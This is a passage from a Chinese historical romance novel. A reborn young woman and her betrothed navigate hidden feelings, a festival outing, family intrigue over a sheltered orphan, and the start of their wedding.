晴茵笑着顿了顿没说完,可话里的意思全在。
沈欢颜却没从梦里缓过来,这梦太真实。真实到足以把这些日子积攒的对他的情愫尽数勾销。
她只低低应了声,没什么兴趣似的,抬头平声问:“日子是否定下了?”
“定下了,就在五日后。”
*
宋凌舒只不过去外祖家小住了几日,没想到沈欢颜还真成了自己的表嫂。
回了京她便直奔殿帅府。
恰逢资善堂旬休,沈怀渊得了信便往卫国公府跑,说是要找他未来姐夫切磋武艺。
“姐夫,等得空儿我们再比试比试?”
谢清墨对这个未来妻弟莫名而来的喜欢颇有些无奈,“你阿姐与我尚未成亲,你就如此喊,小心你父亲听到骂你。”
“怎么可能,上回他自己便先让你改了口,怎好意思骂我。”沈怀渊自信满满,“况且你早晚都是我姐夫,早一天晚一天叫又有何区别。”
谢清墨见他执着,自然也就随着他来了。
沈怀渊忽又想起一件事,赶忙提起:“姐夫,我这才从军中归京,须过了监丞的考核方能入学,前几日我去试了一次,监丞却说让我回家多抄几日书再去……”
沈怀渊红着脸挠挠头,“可我那些童子功早就忘的差不多了,父亲又嫌我丢人不帮我请先生,你帮帮我罢,我阿姐知道了肯定也高兴。我定会在她面前说你许多好话的。”
话都说到这个份上,哪有不答应的道理。
谢清墨命人找来箱子,装了自己从前的书与官本,又放了许多杂书、典籍。打算随他一起回府。
“走吧,我送你回去。”谢清墨命人备了马车。
“姐夫也要去我家?”沈怀渊自是高兴的。
他从军中回京,也就偶尔同发小们出去玩耍,可他们讨论的,多是京内流行的新鲜玩意,或者哪家的馆子口味好吃,这些他都兴趣缺缺。他们也多喜投壶斗草,也没人会陪他耍枪舞剑。
可姐夫不一样,他昨日打听到谢家兄弟也都曾在军中历练,只是后来谢家二郎不知是何原因先行归京,坊间都传说是因他不善行伍。可那日他们比试,沈怀渊却分明看出了是他有意避了自己的锋芒。
总而言之,这个姐夫甚得他心。
“我随你去一趟,再大概与你讲讲这些书都要怎么读。”
谢清墨心中却是想借着这个由头去趟沈家,运气好兴许还能远远瞧上一眼沈娘子,聊解相思。
“且慢怀渊,我去房里拿样东西。”
两人正欲出门,谢清墨想起前两日从别处得来了几个吴地胭脂,正不知如何拿给她。正巧今日能让沈怀渊帮忙转交。
打马驶过长街,谢清墨觉得今日京里的景致格外顺眼,一旁的柳树抽了新芽,嫩绿得如同清水洗过一般。往日觉得漫长的坊巷,今日不知怎的,马蹄也变得轻快起来。
眼看那朱红大门就在眼前,谢清墨却慢了下来。
“怎么不走了?”沈怀渊在一旁疑惑道。
“没什么,我如今还没什么名分登门,你在前面带路吧。”谢清墨解释道。
总不能说因要见到你阿姐了,有些情怯罢。
“管这些干甚,我家没这种规矩。”
沈怀渊纵身下马,拉着他姐夫便进了府门。
仆从们将书箱抬至书房,谢清墨帮他把书分门别类,沈怀渊在一旁将分好的书摆进书厨。
忽然一小厮叫门,沈怀渊喊了他进来。
“郎君,夫人一早便差人来寻您,不知有何事。”小厮禀道。
沈怀渊想起今早出门前竟忘了跟娘请安。
“我去去就来。”沈怀渊转头对谢清墨招呼罢便匆忙离开了。
书卷都归整好,谢清墨闲来无事,便随意取了一本书坐在窗边。
远处传来一声鸟鸣,一阵风从半开的窗隙中挤了进来,撩起书页打了个旋儿。初春的风并不绵软,还带着凉意。
不一会儿,风又大了些,掀得书页哗哗作响,他放下书起身,打算把窗子关小一些,可手还未够着,却听到外面有人说话……
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“我猜就是,如果不是襄王那事太急,你绝不会如此仓促把自己嫁了。”窗户半开,一个女声从窗外清晰传来。
谢清墨仔细辨认,竟是表妹宋凌舒的声音。宋凌舒向来和沈欢颜交好,两人常常凑在一起,出现在沈府也不稀罕。
那同她说话的一定是沈娘子了。
谢清墨动作微顿。
“我倒是以为你会选我大表哥呢,从前你就总对他的事有兴趣。”
沈欢颜想起上一世,和宋凌舒一起长大,自然从她口中听了太多她表哥的种种。打一开始,她就对她这个从小便心思剔透,九曲肚肠的二表哥毫不在意,对比起来,她口中英雄般的谢家大郎在少年人中实属难得,自然会想多听些。
在他心中,男人就该如父亲那般宽厚,虽然脾气有些直头直脑,但对家人是一心一意的好。
可哪一世自己有机会做选择。上一世情窦未开便要嫁做人妇,夫妻无爱换得半世荒凉。这一世别无他求,只要能多活几年便好……
“我与你谢家大郎本就无缘。他前脚离京我后脚要嫁。哪容得了我做选择。”
她顿了顿,又道:“况且二郎,他待我好,这便够了。”
宋静姝恨铁不成钢道,“待你好,和你心里有他,这是两回事。”
“好了凌舒。世间女子多是如此的,我又何必自怜自哀。有爱又如何,无爱又如何,无论嫁谁,这日子不都是一页一页潦草揭过了。惊心动魄的也都是话本杜撰,相信不得的。”
到底不知她是在安抚凌舒,还是在宽慰自己。
这副年轻俏丽的身体中,仿佛住着一位老妪的灵魂一般。宋凌舒不住地摇头,听了这,哪还有什么可说。
她只道好友长了这样一张祸国殃民的脸,怎就是不开窍?
也心生愤懑,就问这世间哪个女子不想有一段风花雪月呢,偏这襄王为老不尊,自己是侥幸因年龄逃脱了,可京中又有多少女儿被迫匆忙嫁了,又有多少不被家族怜惜疼爱的庶女被推上了斗艳场。
可哀、可叹!
她理解欢儿消沉至此多有缘由,但人总要憧憬不是吗。
“可试一下又何妨?况且我二表哥是极好的人,兴许你们能成为一对神仙眷侣,岂不成就一段佳话?”
沈欢颜没接话。
可这沉默,在谢清墨听来,比任何话都重。
书房外是一条偏僻小径。寻常不会有人经过。闺中密友讲一些私房话,自是要选个僻静的地方。
沈欢颜也是被宋凌舒拉来的,虽是自己家,可她从未到过此地。
窗边一个字一个字露进来,谢清墨就如此站着,想走,但脚下却仿佛有千斤重。
终是没有迈开。
他早知她胸中有沟壑,嫁与自己也多半是身为女子的无可奈何。
可他却觉得,他对她好,给予她足够的自由做自己,总有一天能把她那石头般的心给捂热了。
谁料今日却偶然听到了她心中肺腑。
手中的书是方才随手翻开的,书页边缘已被他攥的变了形状。
“阿姐!”
窗外二人的交谈戛然中断。
16. 倾国之姿
沈怀渊回书房路上隐约听到这边有窸窸窣窣的交谈声,便过来看看是哪个丫鬟小厮躲在这里谈情说爱。
竟不料撞见的是姐姐和宋家娘子。
“你不是今早才出门?”沈欢颜方才正要答话,便被他打断。
对着这个不速之客便没什么客气。
“早就回了,我方才在书房理我那些书,母亲唤我,我才过去了一会儿。”
“就你一人?”沈欢颜瞥见不远处开着的窗子,方才并未留意。心里忐忑,希望别有人听到她们的对话才是。
“姐夫哥也来了。”沈怀渊咧开嘴笑着,“他赠了我一箱子的书呢,此刻正在书房等我。”
他一面说,一面引着两位姐姐拐至书房正门。
沈欢颜听了他的话便脸色一僵。
“咦?姐夫呢?方才还在呢。”一进门,沈怀渊便扭头四处找着。
见屋内无人,沈欢颜忽的松了一口气,还好谢清墨并未听到她与凌舒的交谈。
若是按他上一世的脾性,悔婚这种事也定能干得出来。
二人与沈怀渊道别后便往后院走去。路过园中的藕塘。
沈欢颜想起,与谢清墨这一世结缘便是在昌庆侯府的藕塘边,自己那时脚滑踩了地上的淤泥,要不是他扶着,定是要跌倒的。
不由多看了两眼。
“那里怎么有个人啊。”宋凌舒低呼,随即又拉着沈欢颜往前走了几步。
“表哥?”宋凌舒不可思议道,
只见谢清墨正蹲在塘边,手中拿了根树枝,在水面上逗着以为有人投食的锦鲤。
见她们走来,起身寒暄。
“表哥还真是迫不及待,也就不过十日我家欢儿便要归你了,怎么这时还要来沈府跟我抢人呢。”宋凌舒打趣道。
沈欢颜推了推她,不让她再胡说。
“怀渊请我给他补功课,我有些书如今也用不上了,就一道给他送来了,再与他讲一讲该怎样读。”谢清墨没理会表妹的揶揄,对着沈欢颜平声解释道。
沈欢颜点头:“多谢郎君照顾怀渊。”
谢清墨点点头,错开了眼。
不得不承认,刚刚一番话听进去,他难免失落。
自己猜,和她亲口说,终究不同。
“水边尚还有些凉,娘子穿得单薄,不宜久留。”谢清墨往前迈步,示意几人应换个地方。
沈欢颜和宋凌舒也转身,三人顺着假山旁的小径往前走着。
谢清墨望着眼前婀娜的背影出神。
“表哥,过两日便是圣节,到时街上一定热闹,咱们也去逛逛吧?”宋凌舒一面说,一面对着谢清墨朝一旁使了眼色。
意思是她会想办法带沈欢颜一起去。
谢清墨僵着脸扯了个笑,“再议罢,不知那日能不能腾出空来。”
“有什么腾不出空的,圣上生辰啊,那日资善堂也定要休沐的。”
宋凌舒简直恨铁不成钢,她这表哥平时心思缜密,诡计多端的,怎么到自己的事上跟个榆木疙瘩一样。
沈欢颜听着身后两人的对话,毕竟对他太过了解,能觉察到谢清墨此时好像心情不大好。
三人走至游廊,面对面站着。宋凌舒左右看了看两人,怎么都不像即将成婚的男女该有的样子。
她想给他们留点二人天地,便忽然出声道:“哎呀,我竟忘了去沈夫人那里请安,失礼,失礼……欢儿我先走一步。”宋凌舒作势要走。
还是被沈欢颜看出了心思,她一把拉拽住宋凌舒衣袖,又对她挤挤眼,“哪有如此着急,一会儿我陪你同去。”
按照礼教,定亲之后,成婚之前,男女双方是不能私下相见的。
宋凌舒瞬间明白,“那表哥,我们先走?”
沈欢颜也松开拉住宋凌舒的手,转身朝谢清墨欠了欠身,打算告辞。
“娘子留步。”
她都已转了身。谢清墨犹豫片刻还是喊住了她。
沈欢颜转回来看他。
只见谢清墨低头,从袖中取出了几盒胭脂,小小巧巧的,用剔犀云纹漆盒装着,盖盒上各贴一小片洒金笺,笺上有小字。
“我从别处偶然得来了几盒胭脂,不知娘子是否喜欢。”那漆盒在日光下亮闪闪的,被他修长的手指半握着摊开。
他垂眼看着胭脂,没继续与她对视。
“是吴地的胭脂吗?”宋凌舒看到那盒子,眼睛都亮了。
“快接啊欢儿。”她抓住沈欢颜的衣袖来回摇晃着,“这胭脂可不是京城能买得到的。”
沈欢颜伸手接过,又道了谢。颊旁也沾了几分红晕。
她确实没想到他会忽然送自己礼物,自然有些讶然。
谢清墨凝住她粉白带红的面颊片刻,还是错开了眼。
“快,让我看看。”宋凌舒一边念着小盒盖上的小字,一边打开了看,“含章、晚照……”
“欢儿,这盒最适合你!”宋凌舒惊喜道。
沈欢颜低头往她手里看,只见盒盖贴的金笺上写着:“倾国”二字。
她红着脸瞪了宋凌舒一眼。早知她向来喜欢逗她,可她偏还总是上当。
又想起什么,沈欢颜忽然面色一顿,伸手从宋凌舒手中拿过这盒胭脂,细看上面的小字——这竟然是谢清墨的字迹。
等她抬头再看时,那人已走远了。
谢清墨回去同沈怀渊道了别,便打道回府了。
*
“哎。”穿着华丽的贵妇坐在椅子上连连叹气。
国公夫人至今已烦闷了两日,大儿子谢京策从益州带回了夫君旧友家的孤女。
可算给自己添了个大麻烦。
得知她身世可怜,竟也不能袖手旁观。只是这小娘子虽美貌非常,却是个双腿残疾的,又不能使唤她干粗活。留在府中罢,又没有什么由头名分。
她实在想不出什么法子,只能唤来了二郎过来商量对策。
谢清墨听了这孤女竟是张怀仁所出,心中一紧。
他之前就隐约觉得张大人忽然被调任益州之事实属蹊跷。不料他不久便遭人诬陷,身死客乡。
又回想起当日与沈欢颜一同在李府的见闻,总觉得此事没那么简单。
如今父亲又意气用事将此女接回京中。还好是大哥去办的此事,换做旁人,若稍留破绽,卫国公府便会以私藏罪臣之女论处。到时就是姑母谢皇后,也再难替母家说话。
他缓缓开口
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道:“娘亲将她留在府上罢,她有腿疾,父亲又是畏罪自杀,放在外面恐生更多是非。”
“那要以何名分留下呢。”
“就说是谢家远房一位早亡叔伯家的遗孤,您本就成日烧香礼佛的,发善心收一个可怜的养女,也没什么奇怪的。”
他会尽快买通并扰乱四方的消息,绝不能将此事败露。不过大哥做事,他还是极为放心的。
“行,旁的我也不在乎,就是怕你祖母又说些什么。”王氏担忧道。
谢清墨望着母亲,也是无奈。她的孩儿们都已长大成人,身为国公夫人也早在府里站稳了脚跟,却还是被祖母压的死死的。
母亲自己想不明白,旁人说也无用。
上回母亲自己做主为他订下了这门亲事,还是他去找祖母先把事情揽下,才免得母亲又要挨一顿骂。
“祖母早已不再关心远方那些亲戚的近况,也无从佐证,您只管放心认下,就说此事是父亲的主意,她也说不得什么。再怎么也要顾及点谢家的面子的。”
谢清墨接着又说:“再说有我呢,您不必太过担心。”
“好。”母亲点了点头,可神色仍未放松。
谢清墨忽然想起沈欢颜。
她才刚及笄,过门后又要遇上这么个软弱又说话不顶用的婆母。
往后不知她在府中能不能应付,又会不会在祖母那里受委屈。
他须得提前去跟祖母先打声招呼,也点点她身边那些整日憋着蔫坏的嬷嬷们,叫她们别成天净拿些世家大族的规矩唬人。
*
这边谢如意已经在府上为她安排好的房间内安顿妥当。
谢如意这名字,是方才国公夫人唤她过去时,问了她的意见后现取的。
她坐在榻上远远望着这府内之景。
上一世宅子被烧后,她便被谢清墨接入了国公府。当日就被安排在了老夫人院中,老夫人见了自己这副娇弱可怜的样子很是厌烦,便使唤自己做最累的活。
她其实只是谢清墨名义上的外室。
那时她父亲含冤而死,又连累了谢家父子双双殒命,她与谢清墨都背负着血海深仇。她对他只有恩情,绝无半点别的心思。
而那个所谓养外室的宅子,也不过是掩人耳目的密谋之地罢了,里面存的都是这些年他们搜集的证据,最后竟还是被贼人一把火烧了。
大仇不得报,她本就无心再在国公府中苟活,加之老夫人视她为眼中钉、肉中刺,自己入府又害得谢清墨的妻子含恨而终,她终于选择结束了自己悲剧般的一生。
哪知老天爷偏又给她了重活一世的机会。待她再次醒来,便已经回到了父亲当年在扬州做官时住宅子。那段日子是她一生中为数不多的安逸时光,她本以为一切有了挽回的余地……
可谁知父亲却早已把那人的罪证上报朝廷。无奈之下,她只能设法让父亲去求转运使李昌平,集众人之力推动此事。
谁料,自己此举,除了加速父亲被那人报复陷害以外,别无他用。最终自己又一次沦为孤女,漂迫异乡。
她也终于意识到,想撼动一棵参天大树,哪是一棵卑贱如蝼蚁的小草能办到的。
无非是自寻死路而已。
17. 火树银花
大兴朝廷定鼎,屈指算来已有五十载,可待得今上登基,也才迎来真正的太平之世。边尘不惊,黎庶康宁,百姓安居乐业。
有这般好光景,百姓们自然是欢天喜地,也乐意趁着“圣节”好好热闹一番,市井街巷皆是花团锦簇,一片繁荣之景。
那日清早,宋凌舒便早早进了殿帅府,还随身带了两身素色衣裳。
见沈欢颜未起,她也仍是不慌不忙地耗着,摆明了今儿要拉着她好好去街上逛逛。
沈欢颜快被她磨恼了,最终也只得应了。
晴茵也笑嘻嘻的,能随着娘子们出门逛逛,吃些好吃的,自然是极高兴的。
她帮着二位娘子改梳了同心髻,又插上了铜簪和冠梳,打扮成平民女子的模样。
沈欢颜又拉着凌舒去娘亲房里请安,被沈夫人叮嘱了几句便出门了,岂料却在门口碰上了沈怀渊。
“二位姐姐这是要去哪?”沈怀渊一眼便知他们又要背着他出去玩。
这种热闹哪少的了他。于是软磨硬泡的,还是让二位姐姐捎上了他。
沈怀渊一去,算是多了个眼线,二人原是不乐意的,可转念一想,也可把他当作护卫、长随什么的随意使唤,便也就没再多说。
三人先趁早去了佛寺道观祈福添香,晌午又去最热闹的街巷尝了许多市井吃食。
日侧,主街上男女老少就已摩肩接踵,空地上还搭上了“乐棚”,杂剧、傀儡戏应有尽有。水泄不通的人群里,阵阵喝彩声从棚下传出。
远远望去,还能瞥见吞刀吐火、上竿走索的惊险技艺。
“她们头上戴的是何物?”
见身旁路过的许多女子发髻鬓间都戴了些纸做的饰品,沈欢颜有些好奇。上一世她也在节庆时逛过街巷,但从不记得自己带过这些。
“是闹蛾和雪柳啊,”宋凌舒正看热闹,听她这么一说忽的转过脸来,拿手指弹了一下她的脑门,“上次你还说不好看,我要买你不让买呢,怎么这就给忘了。”
沈欢颜咧嘴笑了笑,却也无话反驳。
毕竟于她而言可不是去年了,那已是十几前的事情了,记不真切也是自然。
几人走着,恰巧就遇上卖这些头饰的摊位,宋凌舒停下仔细挑选着。沈欢颜却被旁边一个卖摩喝乐的摊子吸引。
泥土塑成的小偶人,被供奉在雕木彩装的底座上,披上红纱、缀珠翠,精美异常。
小时候母亲也在街市上与她买过,可都比不了眼前这些灵动。
摊主是两位老人,年逾六十,细问时阿婆与她讲,这些都是她家老头子自己雕的,她来作画。
沈欢颜仔细摩挲着这些活灵活现的小偶人,爱不释手。
沈怀渊也凑过来看,他常年呆在军中,哪见过这些稀罕玩意,也是好奇得不得了,这个拿拿,那个摸摸。
“阿姐,你看!这个像不像姐夫。”
沈怀渊忽的举起一只摩喝乐比划到她眼前。
沈欢颜仔细一看,不由笑出了声。
只见这只泥塑偶人身着华贵衣袍,明明是喜庆的动作,可表情却严肃,像极了谢清墨平常正正经经的模样。
“这两只是一对。”阿婆看出了眼前这娇俏小娘子喜欢这一只,又递与了她另一只配对。
这只小女娃就顺眼多了。
纤细苗条的身板,粉嘟嘟的脸蛋,眼睛弯成月牙儿,微微侧着头嗔眉笑眼的,既有几分刻意的端庄,又透着藏不住的稚气。
沈欢颜一手拿了一只细细端详着,嘴角挂着笑,她确实喜欢的紧。
正打算转身找沈怀渊拿荷包,耳边却忽然插入一男声:“这一对我要了。”
她猛地一怔,转头向后看去。
谢清墨不知何时站在了自己身后,正掏出银两递给老两口。
见阿婆一脸怔愣,犹犹豫豫不肯接钱又欲言又止的模样。
谢清墨敛下眉眼,尽量使自己看起来更加和善,偏头看了一眼沈欢颜,笑着对阿婆说:“她是我娘子。”
沈欢颜听到这没由来的一句浑话,瞬间涨红了脸。
可面对阿婆询问的眼神,却只能先点点头。
对方才放心把钱收下。
爱美之心人皆有之。阿婆把银子递给了身后刻着陶坯的阿公,又连连看向眼前极为赏心悦目的小两口,称赞道:“郎君和娘子就如这对精致陶土娃娃一般,好看又般配。”
说罢又低头在摊位上翻找片刻,拿出了另一只摩喝乐,塞入沈欢颜手中,笑道:“祝你们小夫妻早日生个漂亮的胖娃娃。”
沈欢颜低头睨着手里这身子圆滚滚、胳膊如藕节般系着红肚兜的小泥圆子,羞得说不出话。
周遭也忽然安静了似的,只能听见身旁谢清墨连连道谢的温润嗓音。
沈欢颜头也不回地跑进了人群。
日头偏西,街道两侧千百盏街灯次第亮起,白天看着只是竹架子的灯台,被烛火一烘,红光四射。
沈欢颜没跑几步便被谢清墨追了回来。
他一面扯着她的衣袖,一面解释道:“我方才也是见怀渊去一旁玩了才过来,情急之下说出那样的话,还望娘子恕罪……”
沈欢颜又怎能怪他。自己方才转头时也留意到了,宋凌舒和沈怀渊又不知被哪些新鲜事物吸引了去,早就不知道把自己忘到哪里去了。
外出时她怕荷包放自己身上易丢,便交由沈怀渊保管。
方才还好有谢清墨及时出现,不然自己身上连买摩喝乐的银子都没有,更不必说会不会因此与他们走散,或被歹人所盯。
她打断他的道歉,柔声道:“我知郎君也是无奈之举,并无责怪之意,只是冷不防被这样说,有些吃惊罢了。”
说着她举起手里的偶人,笑道:“我还要多谢郎君替我付了银两,我才买到了如此精巧喜人、憨态可掬的摩喝乐。”
“娘子客气,只是举手之劳。”
“那可不是。”她想了想说,“我现在身上没有银子,先把这个摩喝乐押在你这里,待我们下回见面了我再还你。”
她把那个与他有几分相像的摩喝乐塞入他怀中。
“娘子当真不必在意这个……”
“怎么,你不喜欢?”沈欢颜悄悄扬眉,心下一动,“那这个给你。”
说完便用手里这只女娃把他怀里那只表情严肃的男娃娃换了回来。
他还没来得及说些什么,沈怀渊便找来了。<
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“阿姐,你去哪了!”沈怀渊气喘吁吁,一转头又看到谢清墨,瞪大了眼:“姐夫?你怎么也在这?”
一旁的宋凌舒目光在两人之间逡巡,仿佛早已看穿一切。
“你还说呢,我身无分文,若真走散,怎么寻你们都不知。”被沈欢颜瞪了一眼的沈怀渊老实了,也不再问东问西。
谢清墨没再推辞,连忙趁沈怀渊、宋凌舒还未留意,将那身形婀娜的摩喝乐收入袖中。
宋凌舒却眼尖,只是当做没看见,眼下这两人正眉目传情,可不能让欢儿又因害羞缩回了龟壳。
“表哥你今日怎的也有空出来了?”她岔开话题。
前两日见他别别扭扭,今日便没喊他,哪知他如此沉不住气,宋凌舒嘴角挂着揶揄的笑。
“我陪大哥出来转转。”
宋凌舒一听,立刻踮起脚来四处张望。
可哪里有大表哥的影子。
“他一会儿再来。”谢清墨补充道。
宋凌舒:……
谢京墨也没说谎,他今日原不打算出门凑热闹。昨日太子殿下对一段策论尚有疑问,他本要在休沐这日整理历代典籍佐证,以备殿下问询。
可谢京策常年待在军营,好不容易得了此假,自然对这些民间活动心向往之。无奈他又必须随父亲进宫参加朝贺大典。因此他从宫中刚回,便去书房拉着坐得四平八稳的二弟来到街上。
只是他走了两步又发现自己还穿着公服,只得回去再把衣裳换了。
天色彻底暗了下来,也就几人说话的功夫,周围更水泄不通起来。
忽听见潮水般的喧哗由远及近地传来。
“让一让!社火来了!”
声音未落,锣鼓声便从四面八方轰然炸开,人群骚动,方才还围着吞剑艺人的看客们纷纷扭头,像被无形的手推搡着,朝声音来处涌去。
几人被瞬间冲散,沈欢颜站在外侧,被挤得一个踉跄。她下意识后退,却哪里退的动。眼前是一片灯火辉煌。
舞队来了,锣鼓喧天。
为首的七八个壮汉,赤着上身,手提长杆灯笼。紧随其后的是十几个少男少女,头戴斗笠,扮作农家模样手作打谷状,步子扭得欢快。再往后有一旱船,被十几个汉子扛着,船头有一美貌女子摇扇,嘴里唱着曲儿,声音不大却尖细,越过锣鼓声直往人耳朵里钻。
沈欢颜被人流推着走,忽然身后有一股大力涌来,不知谁被冲撞了,径直往她这边倒。她躲闪不及,直直地要往旱船上那彩绸扎的莲花扑去。
万念俱灰,她已然闭上了双眼。
可下一瞬,一只手从拥挤的人群中探出,一把攥住她的手腕,猛的一拽。
她被整个人拉了过去,栽到这人微凉的衣料上,鼻尖被他坚硬的胸膛撞的生疼。
“没事罢!”
“你……”
两人同时开口。
谢清墨先攥着她的手大步把她拉到墙边,才低头看她。
只见沈欢颜鼻头通红,眼里又似乎噙了些泪。
他看到赶忙扶着她的肩膀转了一圈,焦急道:“是哪撞疼了?”
只有沈欢颜自己知道,她只是被他撞疼了……
18. 却扇妆成
“无妨,只是鼻子有些酸。”沈欢颜小声嘟囔着。
谢清墨看她揉着鼻尖,自己又帮不上忙,只能在一旁站着。
“二郎!”忽闻远处有人朗声喊。
二人一同朝那处看去。
只见一男子走来,身形结实,一袭月白色襕衫,腰束革带,带下垂着一块青玉佩,分明走得不急不缓,却有一种从容的气度引得路人侧身相让。
灯火影影绰绰,直到他走近,她才看清他的眉眼。
一样的挺鼻,一样的浓眉,连下颌的弧度都相似,可又全然不同。
“二弟。”他朝谢清墨微颔首,又转头看向沈欢颜。
“这位便是弟媳罢。”谢京策语气放缓,笑问。
“大哥!”谢清墨怪他又在口无遮拦。
他大哥惯是随性,想到什么说什么,鲜少计较后果。也怪不得总有人说“武夫寡谋,性多憨直。”这话仿佛就是在说他,虽是勋贵出身,行事和乡间莽夫竟也没什么区别。
以前自己总在他身旁跟着,犯不着出什么大差错。可如今他一人在军营,说他这耿直脾气需得改改,他都跟没听见似的。
“见过世子爷。”沈欢颜连忙行礼。
谢清墨赶紧拉了他大哥到一旁,“你休要这般胡说,我两个还尚未成亲。”
“那有什么,不也没几日了。”谢京策豪爽,在他看来没什么差别。
“走吧,下面人多,上这酒楼上,咱们一面聊一面看!”旋即引着他们往旁边的酒楼走去。
沈怀渊与宋凌舒也恰巧在这时赶到。谢京策爱热闹,便招呼着一起。
宋凌舒挽着沈欢颜的手,嘴里嘀咕着:“我大表哥好些时日未邀我用膳了,今日定要好好宰这肥羊一顿。”
几人说笑着进了酒楼。
“劳烦店家,寻一间临街可观热闹的雅间。”谢清墨问。
店小二正拨弄算盘珠子,闻声抬头,见几位公子气度不凡,自是非富即贵,忙搁下账本迎上前,引至二楼上好的雅间。
宋凌舒刚一坐稳,便把能点的好菜全部点上。谢京策自小就宠这个妹妹,自然也就由着她。
几人喝酒的喝酒,吃茶的吃茶。
雕花窗外是街市上的热闹声,弄影戏的锣鼓点儿、说书先生拍案的脆响、孩童们的嬉笑声。
可到沈欢颜耳中,全混成一片模糊的嗡鸣,她听着听着,目光落在谢家兄弟二人身上,思绪却越来越远……
上一世初嫁国公府时便听闻,谢家俩兄弟从小感情极好,一起长大,又一同从军。多年以前,她也曾见过他们兄弟二人坐在一处谈笑风生,那时她刚生下谢昭,与谢清墨的夫妻关系也还未那样僵。世子爷也常像今日这般打趣他们。
可后来没过几年,先是公爹卫国公谢荣在赴衙途中惨遭刺杀,后是世子谢京策奉命讨逆,途中意外暴毙身亡。
自此谢清墨性情大变,回府的次数越来越少,吃住皆在官署,常常两三月不照面。接着老夫人又逼他辞官,那时自己又没有与他站在一处,芥蒂便也是那时种下的。
她到如今都想不明白,卫国公府到底得罪了何人,才落得如此下场。
她垂下眼睫。
重活一世,她连自己的命数都改变不了,又如何力挽狂澜,救偌大的卫国公府于水火……到头来只是空想罢了。
从方才上楼时,宋凌舒便察觉到沈欢颜心神不宁的。
这会儿坐下半天也不见出声。
那边沈怀渊已和两位哥哥称兄道弟起来。
“欢儿。”她轻声唤着。
沈欢颜未动。
“欢儿?”宋凌舒碰碰她的手肘。
“嗯?”她摩挲着盏沿的手指猛地一颤。
“想什么呢,这么入神?叫你两三声了,眼珠子都不转一下。”
宋凌舒探过身来,伸手在她眼前晃了晃。腕上刚买的银镯子碰撞着发出好听的声响。
沈欢颜垂下眼,慢慢把偏远的思绪撤回来,她眨了眨眼,再抬头时已是寻常的笑意,只是声音还带着一丝清哑:“没什么,就是听楼下说书的,听走了神……”
宋凌舒没细想,见她无事便放了心。转头与沈怀渊说笑去了。
沈欢颜端起茶盏,低头抿了一口,茶汤早已凉透。
抬眼时,竟发觉谢清墨一直在看她,他面前那盏酒似乎没动过,修长的手指虚虚拢着杯身,指节微微泛白。
而他的目光,穿过眼前的人声灯影,直直地落在她身上。
她心头一跳。
那一瞬,他察觉她望了过来,眉梢极轻地动了一下,随即唇角弯了一个弧度。
他是笑着,可那笑意浮在面上,像是冬日水面结的一层薄冰,底下压着的东西,说不清又道不明,平时温和含笑的眼,此刻也像浸了墨般,沉沉的,望不到底。
隔着满堂喧哗与灯火,竟让她生出了几分寒意。
沈欢颜受不住他这般迫人的目光,错开眼虚虚晃至他人身上,只见一旁的谢京策离他极近,此时正与沈怀渊伸手比划着招式,聊的正酣。
沈欢颜忽然察觉,她方才出神时,目光似乎无意间落到了……这个方向。
等她再慌忙抬眼看向谢清墨时,他已垂下眼,唇边弧度还在,可下颌却绷得紧紧的。
他端起酒盏饮了一口,喉结轻滚,再抬眼,笑意已淡去。又低头倒了杯酒,遥遥举起盏朝她虚虚一抬,似乎说了两个字。
周围喧闹,沈欢颜不曾听清,却莫名觉得,那口型像是:
“无妨。”
*
后两日谢、沈两府都在紧锣密鼓地备亲。
明日便是正日子了。
窗外月色如霜,谢清墨却难以入眠。
他批了件外衫,在庭院的青石板上站了许久,初春的夜仍是刺骨的,直到指节僵硬,他才转身回了榻上。
枕边放了那只从街上带回的摩喝乐。
他闭上眼,脑海里却尽是她的影子,自第一次在昌庆侯府遇见,他正躲清净时她突然倒在他身前那惊鸿的一瞥,他不知记了多久;到扬州她令换一副娇俏面孔,嘴上却说着最伤人的话;如今能兜兜转娶她为妻,老天爷已待他不薄,他又为何总有奢望呢……
谢清墨睁开眼,望着帐顶,唇边浮着一丝苦笑。
他又翻身侧着,忽觉这巧笑嫣兮的女偶人笑得甚是刺眼。
伸手把她转了个身,才浅浅睡去。
五更天刚过,府中便已灯火通明。
丫鬟们进进出出地忙碌着。母亲亲自来催他沐浴更衣,换上簇新的婚服,又在一旁叮嘱着些礼仪规矩,他早已烂熟于心,却也只得一一应着。心里却有一面鼓似的,咚咚敲个不停。
吉时已到,他便领着迎亲队伍出了府。一路吹吹打打往西边去了。
*
这边女方的闺房也是一片忙乱。
沈欢颜天未亮便起了。沐浴更衣后,便要由全福夫人梳妆,还要换上了自己那套极华丽的嫁衣,腰要系玉环绶、头要顶金钗冠,层层叠叠,好不复杂。
“嫁人好累。”宋凌舒昨夜宿在
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沈府帮忙,今儿也一早便忙活起来,这会儿已经瘫在了椅子上。
沈欢颜顶着沉甸甸的发髻,看向镜中待嫁的自己,不由发怔。
好荒唐,怎会两辈子都要嫁同一个人。
母亲这时进来了,攥住她的手,眼眶微微泛红,却笑着:“我们欢儿今日真好看。”
沈欢颜本还无甚伤感,可一见娘亲便受不住了,喉咙发紧,掉下了几滴眼泪。
“咱们沈家的女儿,嫁去是要做人宗妇的。”沈夫人替她理了衣襟、正了花冠,声音又压低了些:“他虽是次子,不承爵,但国公府门第高,规矩大。日后到那边,更要孝敬公婆,敬重夫君……”
沈欢颜听着母亲的嘱咐,一一都应了。
话毕,沈夫人又捧着女儿水灵的小脸轻声道:“但也不必委屈了自己。你爹也说了,若受了气,只管回来告诉他,他就算披甲上马也定要为你讨回公道的。”
“孩儿晓得了娘,您和爹不必担心,我自会顾好我自己。”
母女二人又红了眼眶。
窗外隐约传来鼓乐声,门外的催妆词念过三遍,殿帅府门终于缓缓打开。
天色正好,谢清墨骑马立在门外,阳光打在他身上,绛红的喜服被称得愈发鲜艳。
沈欢颜被全福夫人搀扶着,迈出了门槛。
他利落下马,向前迎了两步,目光始终落在她的身上,一动未动。
“慢着。”
只听旁侧响起一个清亮的男声。
到底是关系不同,别人家的舅爷多是板着脸的,而沈怀渊却是快步走到姐夫面前,规规矩矩作个揖,抬起头时眼里却含着笑:“姐夫。”
他喊的自然,把一旁听到的人都逗乐了。谢清墨也笑,朝小舅拱手回礼。
按规矩,女家兄弟是要拦门的,可沈怀渊却冲身后摩拳擦掌的族中子弟摆了摆手道:“我来。”
“我就只问一句,你……是否会对我阿姐一直好。”
谢清墨看着眼前这刚刚拔高的少年郎,心里竟有几分动容。
“会。”他沉声郑重道,“若我有半句虚言,任你骑上战马,从我头上踏去。”
